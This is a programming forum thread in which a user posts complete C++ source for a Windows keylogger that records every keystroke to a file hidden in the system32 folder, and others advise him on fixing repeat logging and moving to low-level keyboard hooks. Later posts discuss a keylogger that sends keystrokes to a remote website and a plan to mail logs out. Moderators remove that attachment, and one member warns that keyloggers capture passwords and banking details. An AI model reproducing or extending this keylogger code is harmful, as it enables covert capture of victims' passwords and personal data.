Simple Keylogger

[shadowx360]

I just wanted to make a simple keylogger just to see if I can make it (NOT for malicious reasons, just to how hard it is). I got the whole find-pressed-key, export-to-file thing down. Only problem: It logs you constantly, meaning by holding the 'a' key down for a second generates about 5 megs of 'a' in the log file. I can't use Sleep(i) because when you type faster or slower, it will result in either 5 or 10 lines of 'a'. (if I set i to 500, for example, then when I am typing fast, it will only register a few keys, not all of them, but when I type slow, it will register more than one of the same key) I don't want to use a hook. How can I ask it to log a key only once when it is pressed, but still be able to log 2 occurrences of the key if it was pressed twice?

#include <windows.h>
#include <winuser.h>
#include <fstream.h>
#include <time.h>
#include <stdio.h>
#include <cstdio>
#define VK_0 0x30
#define VK_1 0x31
#define VK_2 0x32
#define VK_3 0x33
#define VK_4 0x34
#define VK_5 0x35
#define VK_6 0x36
#define VK_7 0x37
#define VK_8 0x38
#define VK_9 0x39
#define VK_A 0x41
#define VK_B 0x42
#define VK_C 0x43
#define VK_D 0x44
#define VK_E 0x45
#define VK_F 0x46
#define VK_G 0x47
#define VK_H 0x48
#define VK_I 0x49
#define VK_J 0x4A
#define VK_K 0x4B
#define VK_L 0x4C
#define VK_M 0x4D
#define VK_N 0x4E
#define VK_O 0x4F
#define VK_P 0x50
#define VK_Q 0x51
#define VK_R 0x52
#define VK_S 0x53
#define VK_T 0x54
#define VK_U 0x55
#define VK_V 0x56
#define VK_W 0x57
#define VK_X 0x58
#define VK_Y 0x59
#define VK_Z 0x5A
#define VK_OEM_PLUS 0xBB
#define VK_OEM_MINUS 0xBD
#define VK_OEM_COMMA 0xBC
#define VK_OEM_PERIOD 0xBE
using namespace std;

int main(){
    time_t rawtime;
    struct tm * timeinfo;
    time ( &rawtime );
    timeinfo = localtime ( &rawtime );
    start: 
    ofstream log;
    log.open ("C:\\windows\\system32\\log.txt", ios::out | ios::ate | ios::app);
    log << asctime (timeinfo);
    for(;;){
    if(GetAsyncKeyState(VK_0)||GetAsyncKeyState(VK_NUMPAD0))
    {log <<"0";}
    else if(GetAsyncKeyState(VK_1)||GetAsyncKeyState(VK_NUMPAD1))
    {log <<"1";}
    else if(GetAsyncKeyState(VK_2)||GetAsyncKeyState(VK_NUMPAD2))
    {log <<"2";}
    else if(GetAsyncKeyState(VK_3)||GetAsyncKeyState(VK_NUMPAD3))
    {log <<"3";}
    else if(GetAsyncKeyState(VK_4)||GetAsyncKeyState(VK_NUMPAD4))
    {log <<"4";}
    else if(GetAsyncKeyState(VK_5)||GetAsyncKeyState(VK_NUMPAD5))
    {log <<"5";}
    else if(GetAsyncKeyState(VK_6)||GetAsyncKeyState(VK_NUMPAD6))
    {log <<"6";}
    else if(GetAsyncKeyState(VK_7)||GetAsyncKeyState(VK_NUMPAD7))
    {log <<"7";}
    else if(GetAsyncKeyState(VK_8)||GetAsyncKeyState(VK_NUMPAD8))
    {log <<"8";}
    else if(GetAsyncKeyState(VK_9)||GetAsyncKeyState(VK_NUMPAD9))
    {log <<"9";}
    else if(GetAsyncKeyState(VK_A))
    {log <<"a";}
    else if(GetAsyncKeyState(VK_B))
    {log <<"b";}
    else if(GetAsyncKeyState(VK_C))
    {log <<"c";}
    else if(GetAsyncKeyState(VK_D))
    {log <<"d";}
    else if(GetAsyncKeyState(VK_E))
    {log <<"e";}
    else if(GetAsyncKeyState(VK_F))
    {log <<"f";}
    else if(GetAsyncKeyState(VK_G))
    {log <<"g";}
    else if(GetAsyncKeyState(VK_H))
    {log <<"h";}
    else if(GetAsyncKeyState(VK_I))
    {log <<"i";}
    else if(GetAsyncKeyState(VK_J))
    {log <<"j";}
    else if(GetAsyncKeyState(VK_K))
    {log <<"k";}
    else if(GetAsyncKeyState(VK_L))
    {log <<"l";}
    else if(GetAsyncKeyState(VK_M))
    {log <<"m";}
    else if(GetAsyncKeyState(VK_N))
    {log <<"n";}
    else if(GetAsyncKeyState(VK_O))
    {log <<"o";}
    else if(GetAsyncKeyState(VK_P))
    {log <<"p";}
    else if(GetAsyncKeyState(VK_Q))
    {log <<"q";}
    else if(GetAsyncKeyState(VK_R))
    {log <<"r";}
    else if(GetAsyncKeyState(VK_S))
    {log <<"s";}
    else if(GetAsyncKeyState(VK_T))
    {log <<"t";}
    else if(GetAsyncKeyState(VK_U))
    {log <<"u";}
    else if(GetAsyncKeyState(VK_V))
    {log <<"v";}
    else if(GetAsyncKeyState(VK_W))
    {log <<"w";}
    else if(GetAsyncKeyState(VK_X))
    {log <<"x";}
    else if(GetAsyncKeyState(VK_Y))
    {log <<"y";}
    else if(GetAsyncKeyState(VK_Z))
    {log <<"z";}
    else if(GetAsyncKeyState(VK_LBUTTON))
    {log <<"[LBUTTON]";}
    else if(GetAsyncKeyState(VK_RBUTTON))
    {log <<"[RBUTTON]";}
    else if(GetAsyncKeyState(VK_CANCEL))
    {log <<"[CANCEL]";}
    else if(GetAsyncKeyState(VK_MBUTTON))
    {log <<"[MBUTTON]";}
    else if(GetAsyncKeyState(VK_BACK))
    {log <<"[BACKSPACE]";}
    else if(GetAsyncKeyState(VK_TAB))
    {log <<"[TAB]";}
    else if(GetAsyncKeyState(VK_CLEAR))
    {log <<"[CLEAR]";}
    else if(GetAsyncKeyState(VK_RETURN))
    {log <<"[RETURN]";}
    else if(GetAsyncKeyState(VK_SHIFT))
    {log <<"[SHIFT]";}
    else if(GetAsyncKeyState(VK_CONTROL))
    {log <<"[CONTROL]";}
    else if(GetAsyncKeyState(VK_MENU))
    {log <<"[MENU]";}
    else if(GetAsyncKeyState(VK_PAUSE))
    {log <<"[PAUSE]";}
    else if(GetAsyncKeyState(VK_CAPITAL))
    {log <<"[CAPITAL]";}
    else if(GetAsyncKeyState(VK_ESCAPE))
    {log <<"[ESCAPE]";}
    else if(GetAsyncKeyState(VK_SPACE))
    {log <<"[SPACE]";}
    else if(GetAsyncKeyState(VK_PRIOR))
    {log <<"[PRIOR]";}
    else if(GetAsyncKeyState(VK_NEXT))
    {log <<"[NEXT]";}
    else if(GetAsyncKeyState(VK_END))
    {log <<"[END]";}
    else if(GetAsyncKeyState(VK_HOME))
    {log <<"[HOME]";}
    else if(GetAsyncKeyState(VK_LEFT))
    {log <<"[LEFT]";}
    else if(GetAsyncKeyState(VK_UP))
    {log <<"[UP]";}
    else if(GetAsyncKeyState(VK_RIGHT))
    {log <<"[RIGHT]";}
    else if(GetAsyncKeyState(VK_DOWN))
    {log <<"[DOWN]";}
    else if(GetAsyncKeyState(VK_SELECT))
    {log <<"[SELECT]";}
    else if(GetAsyncKeyState(VK_PRINT))
    {log <<"[PRINT]";}
    else if(GetAsyncKeyState(VK_EXECUTE))
    {log <<"[EXECUTE]";}
    else if(GetAsyncKeyState(VK_SNAPSHOT))
    {log <<"[PRINTSCREEN]";}
    else if(GetAsyncKeyState(VK_INSERT))
    {log <<"[INSERT]";}
    else if(GetAsyncKeyState(VK_DELETE))
    {log <<"[DELETE]";}
    else if(GetAsyncKeyState(VK_HELP))
    {log <<"[HELP]";}
    else if(GetAsyncKeyState(VK_MULTIPLY))
    {log <<"*";}
    else if(GetAsyncKeyState(VK_ADD))
    {log <<"+";}
    else if(GetAsyncKeyState(VK_SEPARATOR))
    {log <<"|";}
    else if(GetAsyncKeyState(VK_SUBTRACT))
    {log <<"-";}
    else if(GetAsyncKeyState(VK_DECIMAL))
    {log <<".";}
    else if(GetAsyncKeyState(VK_DIVIDE))
    {log <<"/";}
    else if(GetAsyncKeyState(VK_F1))
    {log <<"[F1]";}
    else if(GetAsyncKeyState(VK_F2))
    {log <<"[F2]";}
    else if(GetAsyncKeyState(VK_F3))
    {log <<"[F3]";}
    else if(GetAsyncKeyState(VK_F4))
    {log <<"[F4]";}
    else if(GetAsyncKeyState(VK_F5))
    {log <<"[F5]";}
    else if(GetAsyncKeyState(VK_F6))
    {log <<"[F6]";}
    else if(GetAsyncKeyState(VK_F7))
    {log <<"[F7]";}
    else if(GetAsyncKeyState(VK_F8))
    {log <<"[F8]";}
    else if(GetAsyncKeyState(VK_F9))
    {log <<"[F9]";}
    else if(GetAsyncKeyState(VK_F10))
    {log <<"[F10]";}
    else if(GetAsyncKeyState(VK_F11))
    {log <<"[F11]";}
    else if(GetAsyncKeyState(VK_F12))
    {log <<"[F12]";}
    else if(GetAsyncKeyState(VK_NUMLOCK))
    {log <<"[NUMLOCK]";}
    else if(GetAsyncKeyState(VK_SCROLL))
    {log <<"[SCROLL]";}
    else if(GetAsyncKeyState(VK_LSHIFT))
    {log <<"[VK_LSHIFT]";}
    else if(GetAsyncKeyState(VK_RSHIFT))
    {log <<"[RSHIFT]";}
    else if(GetAsyncKeyState(VK_LCONTROL))
    {log <<"[LCONTROL]";}
    else if(GetAsyncKeyState(VK_RCONTROL))
    {log <<"[RCONTROL]";}
    else if(GetAsyncKeyState(VK_LMENU))
    {log <<"[LALT]";}
    else if(GetAsyncKeyState(VK_RMENU))
    {log <<"[RALT]";}
    else if(GetAsyncKeyState(VK_LWIN ))
    {log <<"[LWIN]";}
    else if(GetAsyncKeyState(VK_RWIN ))
    {log <<"[RWIN]";}
    else if(GetAsyncKeyState(VK_OEM_1))
    {log <<"[\';\'/\':\']";}
    else if(GetAsyncKeyState(VK_OEM_PLUS))
    {log <<"+";}
    else if(GetAsyncKeyState(VK_OEM_COMMA))
    {log <<",";}
    else if(GetAsyncKeyState(VK_OEM_MINUS))
    {log <<"-";}
    else if(GetAsyncKeyState(VK_OEM_PERIOD))
    {log <<".";}
    else if(GetAsyncKeyState(VK_OEM_2))
    {log <<"[\'/\'/\'\?\']";}
    else if(GetAsyncKeyState(VK_OEM_3))
    {log <<"[\'`\'/\'~\']";}
    else if(GetAsyncKeyState(VK_OEM_4))
    {log <<"[\'{\'/\'[\']";}
    else if(GetAsyncKeyState(VK_OEM_5))
    {log <<"[\'\\\'/\'|\']";}
    else if(GetAsyncKeyState(VK_OEM_6))
    {log <<"[\']\'/\'}\']";}
    else if(GetAsyncKeyState(VK_OEM_7))
    {log <<"[\'/\"]";}
    }
    log.close(); 
    goto start;
}

[couling]

I don't want to use a hook.

Well you've evidently awnsered you're own question there. Hooks are the right way to do it.

But if you want to do it in a way that eats cpu (such as you're sudgesting):
You can of course keep an array of keystates, one value for each key. Then you only log when the key state != prevous state. if it changes, log the change, then set the bool value to the key's new state.

Out of interest, why not hooks?

[shadowx360]

Then you only log when the key state != prevous state. if it changes, log the change, then set the bool value to the key's new state.

Out of interest, why not hooks?

1) I knew someone was going to say the log the last key thing, that's why I said it should be able to log two occurrences of the key if it is pressed twice.

2) I am not using hooks because they are complicated, most of they involve dll's, and the only version I can find that uses hooks can only log the alphabet, and screws up on other keys. Unless you can find a source that uses hooks and still can get every key on the keyboard, I will have to improve on this one.

[Plasmator]

2) I am not using hooks because they are complicated, most of they involve dll's, and the only version I can find that uses hooks can only log the alphabet, and screws up on other keys. Unless you can find a source that uses hooks and still can get every key on the keyboard, I will have to improve on this one.

Assuming that you're targeting =>Win2k systems, you can use a low-level keyboard hook (see WH_KEYBOARD_LL) without needing to place your hook procedure inside a DLL.

[superbonzo]

the only version I can find that uses hooks can only log the alphabet, and screws up on other keys.

No, global hooks let you catch any window message (included keyboard/mouse), with the only caveat of security permissions (at least on Vista, I suppose).

Anyway, you could use the Raw Input API that, if properly used, enables catching keyboard input even if the receiving window is not the foreground window... see MSDN for details.

[couling]

1: the sugestion I gave will log a key if it is pressed twice.... as it will log key down then key up then key down again.

rather than a sequence of "else if", you simply use if State != Previous_state on each key. When it logs, you can use State to determin a key up or key down.

2: the higher level hooks have to go into a DLL, yes.
They are really weird and not for the faint hearted.
They dont even run in the process space of your own application.

But the low level hooks and are pretty simple to implament.

The Hook I'd sudgest using is:
WH_KEYBOARD_LL

Couldnt say if this works on vista, But I've had it running under XP quite well to make a rather odd remote controll. No Dlls required.

[shadowx360]

Thanx to couling, I solved the problem, and I fixed the problem with it taking up 100% CPU. Thanx to everyone that replied.

[Peter_APIIT]

What is hook ? Please explain in simple manner.

Thanks for your help.

[Clipster]

Here's my key loggers source:
"attachment"
It was when I was real new to c++ though so the way I included files was kinda weird.

BTW:
Your responsible with this not me, and if you compile this and run it, you WILL be logged and your key presses will be sent to my website.

You have been warned.

[shadowx360]

Here's my key loggers source:
"attachment"
It was when I was real new to c++ though so the way I included files was kinda weird.

BTW:
Your responsible with this not me, and if you compile this and run it, you WILL be logged and your key presses will be sent to my website.

You have been warned.

I like your style. I just need to make something like that now and send it to myself. I tried using SMTP email, but I just realized that you need SSL or TLS for most of the smpt servers nowadays, so there goes my "send using telnet" idea. And how could you be "new to C++" when you made this? I am a lot worst then you and I have been learning for over 6 months now.

[Russco]

Please please please do not give help to people to write destructive code especially keyloggers which never ever have an innocent application.

Even badly coded keyloggers can catch passwords for sites, for games, credit card details, online banking details, etc.

I vote this thread gets deleted by a mod before others find and try to use the keylogging codes posted in it.

[Clipster]

@Russco:
Well theres no point in anyone using mine because it sends it to my server.
And who ever that knows how to make it work for them, I would think, knows how to make a keylogger anyway.

I like your style. I just need to make something like that now and send it to myself. I tried using SMTP email, but I just realized that you need SSL or TLS for most of the smpt servers nowadays, so there goes my "send using telnet" idea. And how could you be "new to C++" when you made this? I am a lot worst then you and I have been learning for over 6 months now.

I was about a month or two into it. BUT C++ is not the first thing I have done.

I also do:
PHP && MySQL <- My best language
HTML
CSS
JavaScript && Ajax <- A little on the weak side


And I believe PHP was influenced by C. So the syntax is similar.

[Brad Jones]

The download was removed from this thread as it had the ability to send your passwords and info to someone else.

I'm not against discussions on Keyloggers as I do believe there are valid reasons to use one; however, please be cautious on what code you provide. Also be aware that this site logs IP addresses and such, so history is created related to you having discussed the topic....

Brad!

[shadowx360]

The download was removed from this thread as it had the ability to send your passwords and info to someone else.

I'm not against discussions on Keyloggers as I do believe there are valid reasons to use one; however, please be cautious on what code you provide. Also be aware that this site logs IP addresses and such, so history is created related to you having discussed the topic....

Well, since I am not engaged in any illegal activity of any sort, I have no fear of IP logging. However, for safety reasons, I do agree that my code should be removed. I have been able to patch it up, and undoubtedly, someone can do the same. I ask that moderators remove my coding, since I cannot.

[Andreas Masur]

I ask that moderators remove my coding, since I cannot.

If you are referring to your code posted in your initial thread, I certainly can delete it however, I actually don't have a problem with the code. There is nothing shown that could be not read on e.g. MSDN.

For the sake of the discussion, I am fine with leaving it as is. The code Brad was referring to was a complete working sample....